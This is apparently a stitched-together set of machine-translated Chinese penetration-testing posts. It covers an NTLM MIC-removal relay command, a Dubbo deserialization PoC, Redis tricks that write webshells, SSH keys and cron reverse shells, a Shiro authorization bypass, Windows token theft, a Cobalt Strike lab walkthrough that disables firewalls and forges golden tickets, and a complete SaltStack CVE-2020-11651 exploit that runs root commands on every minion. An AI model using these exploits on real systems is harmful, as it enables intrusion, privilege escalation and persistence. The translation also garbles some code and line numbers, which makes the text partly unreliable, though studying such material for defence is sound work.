The definition of the msvAvFlags field, check the Microsoft Knowledge Base. If it is0x00000002, it means that the client uses MIC to protect the integrity of the data packets. The msvAVFlags field is signed protected by the user's NTLM hash value, so the msvAVFlag field cannot be modified. It's very magical in reality. Domain servers don't really care whether the MIC and Version information exist. If it exists, it will be verified, and if it does not exist, it will not be verified. The above attack method can be blocked through configuration, that is, if the msvAVFlags field indicates that there is MIC integrity verification, there must be MIC and verification. However, in actual application scenarios, there are still some hidden dangers, such as FireFox in MacOS and Linux systems do not add MICs by default. 4.2 实战 Use ntlmrelayx.py in impacket to perform man-in-the-middle attacks, using the --remove-mic parameter. 1 python3 ntlmrelayx.py -h ldap://172.16.147.130 --remove-mic --escalate-user commonuser -smb2support -machine-account pentest-ad/SERVER-2008$ -machine-hashes bab7079288e58b875c46601f274001e6:bab7079288e58b875c46601f274001e6 -domain 172.16.147.130 5 EPA-Bypass 5.1 原理 EPA (Enhanced Protection for Authentication), binds authentication packets to a secure channel, mainly used to protect Windows integrated authentication services, such as OWA, ADFS, and LDAPS. The specific approach is to add a field Channel Bindings to the authentication message. According to Microsoft's instructions, Channel Bindings is a MD5 Hash value, representing the MD5Hash value of the structure gss_channel_bindings_struct.
-
Title: Apache Dubbo Provider Deserialization Vulnerability (CVE-2020-1948)
Apache Dubbo Provider反序列化漏洞(CVE-2020-1948) Apache Dubbo Provider has a deserialization vulnerability. Attackers can send unrecognized service names or method names and some malicious parameter payloads through RPC requests. When malicious parameters are deserialized, remote code execution can be caused. 影响版本 Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (officially no longer maintained) 环境搭建 Reproduction environment: MAC Dubbo 2.5.9 JDK 8U20 Environment download address: https://gist.github.com/OneSourceCat/01277dceba635eefbc010af36d3704d7 Import the downloaded environment into IDEA: Install zookeeper under mac: 1 2 brew install zookeeper brew services start zookeeper Modify the Provider.java file and specify how Spring loads the configuration file: ClassPathXmlApplicationContext context=new ClassPathXmlApplicationContext('file:/Volumes/MacOS/WorkSpace/JAVA/dubbo-poc/DubboModules/src/resources/provider.xml') ; Modify the Consumer.java file and specify how Spring loads the configuration file: ClassPathXmlApplicationContext context=new ClassPathXmlApplicationContext('file:/Volumes/MacOS/WorkSpace/JAVA/dubbo-poc/dubboconsumer/resources/consumer.xml') ; Run Provider.java: Compile ExportObject.java 1 2 3 4 5 6 7 8 9 10 11 12 13 public class ExportObject { public ExportObject() throws Exception { try { java.lang.Runtime.getRuntime().exec('open /System/Applications/Calculator.app'); } catch (java.io.IOException e) { e.printStackTrace(); } } public static void main(String[] args) throws Exception { ExportObject e=new ExportObject(); } } 1 javac ExportObject.java Note: You must compile with the same version or lower version of JDK here, otherwise the deserialization will fail. Start the LDAP service: 1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://127.0.0.1:8000/#ExportObject' 8087 Start HTTP service: 1 python3 -m http.server Run consumer.java and deserialize: It was found that the calculator could be successfully popped up. Test with poc: pip install dubbo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four from dubbo.codec.hessian2 import Decoder,new_object from dubbo.client import DubboClient client=DubboClient('127.0.0.1', 20881) JdbcRowSetImpl=new_object( 'com.sun.rowset.JdbcRowSetImpl', dataSource='ldap://127.0.0.1:8087/#ExportObject', strMatchColumns=['foo'] ) JdbcRowSetImplClass=new_object( 'java.lang.Class', name='com.sun.rowset.JdbcRowSetImpl', ) toStringBean=new_object( 'com.rometools.rome.feed.impl.ToStringBean', beanClass=JdbcRowSetImplClass, obj=JdbcRowSetImpl ) resp=client.send_request_and_return_response( service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService', method_name='rce', args=[toStringBean])
-
Title: Common ways to use Redis in penetration testing
Redis 在渗透测试中常见的利用方式 This article mainly uses the premise that redis is not authorized or known redis password for vulnerability 1 写入 webshell Conditions: Known web directory absolute path Have writable permissions in this directory View all keys, create new keys, the key value is webshell, here is a demonstration by writing to phpinfo. Because creating a new key to assign a key will overwrite the original key value, you need to view all keys when assigning, and then select a key that does not exist to create the assignment. 1 2 3 keys * set x '\n\n?php pnpinfo();\n' get x Check the redis database configuration information, because when we write Webshell, we will modify dir and dbfilename, so we mainly record the original value when we check the configuration information here, and fortunately, we will modify it after writing. 1 config get * Set the webshell output directory and file name, and then write to the Webshell. 1 2 3 config set dir /var/www # Set file writing directory config set dbfilename 1.php # Set the write file name save # Save Finally, restore the database configuration. 2 写入 ssh 公钥 Conditions: Users who are known to start the service Have a .ssh directory Allow login using key authentication 2.1 生成公私钥对 1 ssh-keygen -t rsa # Generate public and private keys 2.2 利用 redis config 写文件 1 2 3 4 set x '\n\nPublic key content\n' config set dir /home/user/.ssh config set dbfilename authorized_keys save 2.3 利用公私钥对登录 1 ssh -i id_rsa user@ip 3 写定时任务反弹 shell Conditions: Have permission to write scheduled task directory Target Start Planning Service 1 2 3 4 5 6 7 keys * View all keys set x '\n\nSchedule task content\n\n' config get * config set dir /var/spool/cron config set dbfilename root save Save, complete file writing del x delete the created x key 4 主从复制 4.1 加载扩展模块执行系统命令 The specific principles have been explained in previous articles on reproducing vulnerabilities. Script address: https://github.com/Dliv3/redis-rogue-server Active connection mode: Parameter description --rpasswd If the target Redis service has enabled authentication, you can specify a password through this option --rhost Target Redis Service IP --rport target redis service port, default is 6379 --lhost vps' external network IP address --lport vps monitored port, default is 21000 1 python3 redis-rogue-server.py --rhost target address --rport target port --lhost vps address --lport vps port Passive connection mode: Applicable to situations where the target Redis service is in the intranet Attack Redis via SSRF Intranet Redis Unauthorized access/known Redis password, Redis requires a reverse connection to redis rogue server 1 python3 redis-rogue-server.py --server-only 4.2 主从复制写入纯净文件 Under Linux, SYNC master-slave synchronization can be used to directly write impurities-free files. The script is as follows: https://github.com/r35tart/RedisWriteFile This script writes lossless files through Redis master and slave, and can be used to write lossless binary files such as EXE, DLL, LNK and SO under Linux on Windows platform. You can also override /etc/shadow in Linux without impurities 1 python3 RedisWriteFile.py --rhost 172.17.0.2 --rport 6379 --lhost 172.17.0.1 --lport 4444 --rpath '/var/www' --rfile 'test.php' --lfile './phpinfo.php' The above method is mainly aimed at Linux. When the web service is not enabled on Windows, how to getshell? The following is a common way to play redis under windows: System DLL hijacking (Target restart or logout) DLL hijacking for specific software (a single click on the target) Shortcut to overwrite the target (the target is clicked at one click) Overwrite the configuration files of a specific software to achieve the purpose of raising rights (the goal does not require a click or a single click) Overwrite files such as sethc.exe (triggered by one by one by the attacker) Reference: http://r3start.net/index.php/2020/05/25/717 5 漏洞修复 Set password authentication Try to run Redis services with low permissions Restrict login IP
-
Title: Shiro Permission Bypass Vulnerability Recurrence (CVE-2020-11989)
Shiro 权限绕过漏洞复现(CVE-2020-11989) 影响范围 Apache Shiro 1.5.3 Only Shiro authentication is used in the Spring framework 环境搭建 1 git clone https://github.com/l3yx/springboot-shiro.git Import the project into IDEA, the local demo environment is Mac OS, and configure Maven: /usr/local/Cellar/maven/3.6.3_1/libexec/conf/settings.xml Add a local mirror: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one mirror idalimaven/id mirrorOfcentral/mirrorOf namealiyun maven/name urlhttp://maven.aliyun.com/nexus/content/repositories/central//url /mirror !-- The two central warehouses below are built-in with maven software, serving the entire Internet, maintained by the Maven team itself, and store very complete jar packages, including most popular open source project components in the world -- !-- Central Warehouse 1 -- mirror idrepo1/id mirrorOfcentral/mirrorOf nameHuman Readable Name for this Mirror./name urlhttp://repo1.maven.org/maven2//url /mirror !-- Central Warehouse 2 -- mirror idrepo2/id mirrorOfcentral/mirrorOf nameHuman Readable Name for this Mirror./name urlhttp://repo2.maven.org/maven2//url /mirror Change the Maven home directory and User settings file configuration in IDEA: Generate war package: Deploy the packaged war package in Tomcat. The vulnerability has two conditions for successful exploitation. The application cannot be deployed in the root directory, that is, context-path is required, server.servlet.context-path=/shiro. If it is the root directory, context-path is empty and the URL will be formatted by the patch of CVE-2020-1957. It is worth noting that if the Shiro version is less than 1.5.2, then this condition is not required. There is no additional permission verification code in the Spring controller The permission configuration of the vulnerable environment is as follows, where the route under /admin requires login to access : 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @Bean ShiroFilterFactoryBean shiroFilterFactoryBean(){ ShiroFilterFactoryBean bean=new ShiroFilterFactoryBean(); bean.setSecurityManager(securityManager()); bean.setLoginUrl('/login'); bean.setSuccessUrl('/index'); bean.setUnauthorizedUrl('/unauthorizedurl'); MapString, String map=new LinkedHashMap(); map.put('/doLogin', 'anon'); map.put('/admin/*', 'authc'); bean.setFilterChainDefinitionMap(map); return bean; } --- @GetMapping('/admin/page') public String admin() { return 'admin page'; } 漏洞复现 If you directly access /shiro/admin/page, you will return 302 and jump to require login. Directly access /;/test/admin/page , you can directly bypass Shiro permission verification and access information in the /admin route
-
Title: Domain infiltration Windows Access Token Attack
域渗透之 Windows Access Token 攻击 Windows Access Token 简介 Windows Access Token 概念 Microsoft's official definition is as follows: An access token is an object that describes the security context of a process or thread.The information in token includes the identity and privileges of the user account associated with the process or thread. Windows Access Token, an object that describes a process or thread-safe context. After different users log in to the computer, an Access Token will be generated. This token will be used when the user creates a process or thread and is constantly copied. This explains that user A creates a process but the process does not have the permissions of user B. When the user logs out, the system will switch the main token to an imitation token, and will not clear the token, and will only clear after restarting the machine. Access Tokens are divided into two types (main token, mock token) Windows Access Token 分类 1. Primary token This token is usually used for local and remote RDP login 2. Impersonation token is usually used for various non-interactive logins, such as netuse, wmi, winrm, etc. 登录方式 Interactive login console login (type 2) rdp login (type 10) psexec (type 2) Network login wmi (type 3) winrm (type 3) Windows Access Token 组成 Security Identifier (SID) for User Account SID of the group to which the user belongs Login SID used to identify the current login session List of permissions owned by a user or user group Owner SID SID of the main group Access control list Source of access token Is the token the main token or the mock token Optional list of restricted SIDs Current simulation level Other statistics 关于 SID Security identifiers, referred to as SID, are OwnerSid and GroupSid respectively. The so-called SID is that every time we create a user or group, the system will assign a unique SID to the user or group. When you reinstall the system, you will also get a unique SID. SID is unique and is not assigned to another user for use as the user is deleted. Remember, SID is always unique. SIF is determined by the sum of the CPU time spent by the computer name, current time, and current user state thread to ensure its uniqueness. Example: S-1-5-21-1763234323-321265751-1234321321-500 (whoami/user) Windows Access Token 产生过程 User authentication using credentials (user password) – Login session Create – Windows Return the user's sid and the user's sid – LSA Create an Access token – Use credentials to successfully authenticate – Login session — token — Process, thread 后渗透中的令牌模拟 cobalt strike 模拟令牌 Use steel_token to simulate token, rev2self to restore token metasploit 模拟令牌 incognito module, same rev2self recovery token 获取任意进程的令牌权限 手动令牌模拟 Simulation process: openprocess() – openprocessstoken() – impersonateloggedonuser() – duplicatetokenex() – createprocesswithtokenw() openprocess openprocesstoken impersonateloggedonuser duplicatetokenex createprocesswithtokenw Bypass Protect Process Not all processes can be operated Process : that only obtains system permissions 1 get-token where-object {$_.username-eq 'NT AUTHORITY\SYSTEM' -and $_ownername -ne 'NT AUTHORITY\SYSTEM'} | select-object processname, processid | format-table Then after testing, it was found that tokens such as csrss, service, wininit, smss, etc. failed. 使用 Access Token 进行 BypassUAC Fuzzy Security UAC bypass using Windows tokens https://github.com/fuzzysecurity/powershell-suit/blob/master/UAC-TokenMagic.ps1
-
Title: VulnStack ATT\u0026CK 5 Shooting Range
VulnStack ATTCK 5 靶场 信息搜集 端口扫描 Using nmap to scan the port, it was found that two ports : 80 and 3306 were opened Visit port 80 and found that it is a site that thinkphp v5 Any access to an error page to get its version number is 5.0.22 漏洞搜索 searchsploit search related vulnerabilities: Try to use EXP to execute the command ipconfig, as shown in the figure below : 漏洞利用 View permissions: View the web directory: Write to the shell: 生成远控 新建 listener 生成 payload 上传远控 Connect to webshell: Upload: implement: The rebound shell: Execute shell whoami: 权限提升 Create a new listener for use as a power increase and other operations (Smb and tcp are both OK, I chose tcp, smb suitable for horizontal direction) The author removed the escalation of vulnerability exp in cs4.0 and can be re-added to cs at https://github.com/rsmudge/ElevateKit. Using exp with the ms14-058 vulnerability to escalate rights: 横向移动 Check the process through explore-Process List to see if there is any antivirus software (operating in local system) I found that there was no antivirus software, so that our future horizontal movement activities would be smoother. 关闭防火墙 Use the command netsh advfirewall set allprofiles state off Close the firewall 内网的信息搜集 (Operate in local admin first, because the system permissions cannot see the login domain) 获取当前登录域 Get the login domain through the command net config workstation We can see that the workstation domain is sun.com, but now the domain is win7. Therefore, we need a domain user process to collect information Before this, call Logonpasswords to grab a wave of passwords (it is OK to operate on local admin and local system) Utilize password: The first type of : is called using make_token The second type of : uses the pth command to generate a new process and inject it into The third type of : uses spawn as These three methods need to be used to call the credentials we just crawled to continue the complete corresponding information collection operation. The first type: Make_token Make_token is an identity forgery on the current beacon On the current beacon, your permissions, permissions, or identity have not changed. However, when you interact with remote resources, you are using your fake identity. Use the rev2self command to discard the password The second type of : PTH Pth (pth will generate a process. After generation, we need steel_token. After steel_token, we also use rev2self to discard the password) Use the command steal_token 7912: The third type: Spawnas spawnas command generates beacon: with other user credentials Of course, in addition to this, you can use Processes inject to directly inject the process into a certain user (the operation here requires system permission, and operate in local system) 查看内网的主机/域主机 Use the net view command to view the host of the intranet (adding the domain name is to view the domain host) 查看信任域 Use net domain_trusts to view trust domains 查看域内计算机 Use net computers {dns name of the domain, here is sun.com} to view the computers in the domain: 查看域控 Use net dclist {domain name, here is sun} to view domain control : 查看域管理员 Use net group \\{domain control name, here is DC} domain admins View domain administrator : 查看域和用户的 sid Use whoami /all to view domain and user sid: 信息汇总 1 2 3 4 5 6 7 8 9 10 11 Domain name :sun.com Domain Administrator :sun\administrator Domain user :administrator, admin, leo and a krbtgt Domain control :DC Domain member :DC, Win7 Domain control ip:192.168.138.138 User sid:S-1-5-21-3388020223-1982701712-4030140183-1110 Domain sid:S-1-5-21-3388020223-1982701712-4030140183 Known credentials : sun\leo:123.com win7\heart:123.com 域提权 Using ms14-068 domain escalation Import fake cache : 横向到域控 (operate on the beacon of domain user) Create a listener here as a horizontal demonstration, with the name Lateral Movement, I chose smb_beacon to be better, smb beacon can pass through the firewall, and the movement and smb beacon is small. (In cs4.0, there are jump and remote-exec commands) Click View-Target: Because we already have permission to access DC, just check the following to use the current password : DC successfully launched: 权限维持 黄金票据 First use logonpasswords to catch a wave of plain text (operate in a Beacon named DC) Use the dcsync command to export NTLM Hash of krbtgt, or use hashdump to export hash To facilitate the practice of gold notes, a new domain user geekby: was manually generated
-
Title: SaltStack remote command execution vulnerability recurrence (CVE-2020-11651)
SaltStack 远程命令执行漏洞复现(CVE-2020-11651) SaltStack 简介 SaltStack is a set of C/S architecture configuration management tools developed based on Python. It is a centralized management platform for server infrastructure. It has configuration management, remote execution, monitoring and other functions. It is implemented based on the Python language and is built with lightweight message queues (ZeroMQ) and Python third-party modules (Pyzmq, PyCrypto, Pyjinjia2, python-msgpack and PyYAML, etc.). Salt is used to monitor and update server status. Each server runs an agent called minion that connects to the master host, the salt installer, which collects status reports from Miniions and publishes update messages that Miniions can perform actions on. Typically, such messages are updates to the selected server configuration, but they can also be used to run the same command in parallel on multiple (or even all) managed systems. The default communication protocol in salt is ZeroMQ. The primary server exposes two ZeroMQ instances, one called a request server, where the minion can connect to report its status (or command output), and the other is called a publish server, where the primary server can connect to and subscribe to these messages. 漏洞详情 影响版本 SaltStack 2019.2.4 SaltStack 3000.2 漏洞细节 身份验证绕过漏洞(CVE-2020-11651) The ClearFuncs class does not restrict the _send_pub() method when handling authorization. This method can directly publish queue messages. The published messages will execute commands through root identity permissions. ClearFuncs also exposes the _prep_auth_info() method, through which the root key can be obtained, and the obtained root key can be used to remotely call the command on the main service. The 目录遍历漏洞(CVE-2020-11652) The well module contains commands for reading and writing files in a specific directory. The information entered in the function is spliced with the directory to bypass directory restrictions. The get_token() method in the salt.tokens.localfs class (callable by the ClearFuncs class without authorization) cannot delete the entered parameters and is used as a file name, and files outside the target directory are read in the path by splicing . The only limitation is that the file must be deserialized via salt.payload.Serial.loads() . 漏洞复现 nmap 探测端口 1 nmap -sV -p 4504,4506 IP exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 twenty one twenty two twenty three twenty four 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 #!/usr/bin/env python3 import argparse import datetime import os import pip import sys import warnings def install(package): if hasattr(pip, 'main'): pip.main(['install', package]) else: pip._internal.main(['install', package]) try: import salt import salt.version import salt.transport.client import salt.exceptions except: install('distro') install('salt') def ping(channel): message={ 'cmd':'ping' } try: response=channel.send(message, timeout=5) if response: return True except salt.exceptions.SaltReqTimeoutError: pass return False def get_rootkey(channel): message={ 'cmd':'_prep_auth_info' } try: response=channel.send(message, timeout=5) for i in response: if isinstance(i,dict) and len(i)==1: rootkey=list(i.values())[0] return rootkey except: pass return False def minion(channel, command): message={ 'cmd': '_send_pub', 'fun': 'cmd.run', 'arg': ['/bin/sh -c \'{command}\''], 'tgt': '*', 'ret': '', 'tgt_type': 'glob', 'user': 'root', 'jid': '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow()), '_stamp': '{0:%Y-%m-%dT%H:%M:%S.%f}'.format(datetime.datetime.utcnow()) } try: response=channel.send(message, timeout=5) if response==None: return True except: pass return False def master(channel, key, command): message={ 'key': key, 'cmd': 'runner', 'fun': 'salt.cmd', 'kwarg':{ 'fun': 'cmd.exec_code', 'lang': 'python3', 'code': f'import subprocess;subprocess.call(\'{command}\',shell=True)' }, 'user': 'root', 'jid': '{0:%Y%m%d%H%M%S%f}'.format(datetime.datetime.utcnow()), '_stamp': '{0:%Y-%m-%dT%H:%M:%S.%f}'.format(datetime.datetime.utcnow()) } try: response=channel.send(message, timeout=5) log('[ ] Response: ' + str(response)) except: return False def download(channel, key, src, dest): message={ 'key': key, 'cmd': 'wheel', 'fun': 'file_roots.read', 'path': path, 'saltenv': 'base', } try: response=channel.send(message, timeout=5) data=response['data']['return'][0][path] with open(dest, 'wb') as o: o.write(data) return True except: return False def upload(channel, key, src, dest): try: with open(src, 'rb') as s: data=s.read() except Exception as e: print(f'[ ] Failed to read {src}: {e}') return False message={ 'key': key, 'cmd': 'wheel', 'fun': 'file_roots.write', 'saltenv': 'base', 'data': data, 'path': dest, } try: response=channel.send(message, timeout=5) return True except: return False def log(message): if not args.quiet: print(message) if __name__=='__main__': warnings.filterwarnings('ignore') desc='CVE-2020-11651 PoC' parser=argparse.ArgumentParser(description=desc) parser.add_argument('--host', '-t', dest='master_host', metavar=('HOST'), required=True) parser.add_argument('--port', '-p', dest='master_port', metavar=('PORT'), default='4506', required=False) parser.add_argument('--execute', '-e', dest='command', default='/bin/sh', help='Command to execute. Defaul: /bin/sh', required=False) parser.add_argument('--upload', '-u', dest='upload', nargs=2, metavar=('src', 'dest'), help='Upload a file', required=False) parser.add_argument('--download', '-d', dest='download', nargs=2, metavar=('src', 'dest'), help='Download a file', required=False) parser.add_argument('--minions', dest='minions', default=False, action='store_true', help='Send command to all minions on master', required=False) parser.add_argument('--quiet', '-q', dest='quiet', default=False, action='store_true', help='Enable quiet/silent mode', required=False) parser.add_argument('--fetch-key-only', dest='fetchkeyonly', default=False, action='store_true', help='Only fetch the key', required=False) args=parser.parse_args() minion_config={ 'transport': 'zeromq', 'pki_dir': '/tmp', 'id': 'root', 'log_level': 'debug', 'master_ip': args.master_host, 'master_port': args.master_port, 'auth_timeout': 5, 'auth_tries': 1, 'master_uri': f'tcp://{args.master_host}:{args.master_port}' } clear_channel=salt.transport.client.ReqChannel.factory(minion_config, crypt='clear') log(f'[+] Attempting to ping {args.master_host}') If not ping(clear_channel): log('[-] Failed to ping the master') log('[+] Exit') sys.exit(1) log('[+] Attempting to fetch the root key from the instance.') rootkey=get_rootkey(clear_channel) if not rootkey: log('[-] Failed to fetch the root key from the instance.') sys.exit(1) log('[+] Retrieved root key: ' + rootkey) if args.fetchkeyonly: sys.exit(1) if args.upload: log(f'[+] Attemping to upload {src} to {dest}') if upload(clear_channel, rootkey, args.upload[0], args.upload[1]): log('[+] Upload done!') else: log('[-] Failed') if args.download: log(f'[+] Attemping to download {src} to {dest}') if download(clear_channel, rootkey, args.download[0], args.download[1]): log('[+] Download done!') else: log('[-] Failed') if args.minions: log('[+] Attempting to send command to all minions on master') if not minion(clear_channel, command): log('[-] Failed') else: log('[+] Attempting to send command to master') if not master(clear_channel, rootkey, command): log('[-] Failed') 漏洞利用 Read root key to detect whether there is a vulnerability : Directory traversal Command execution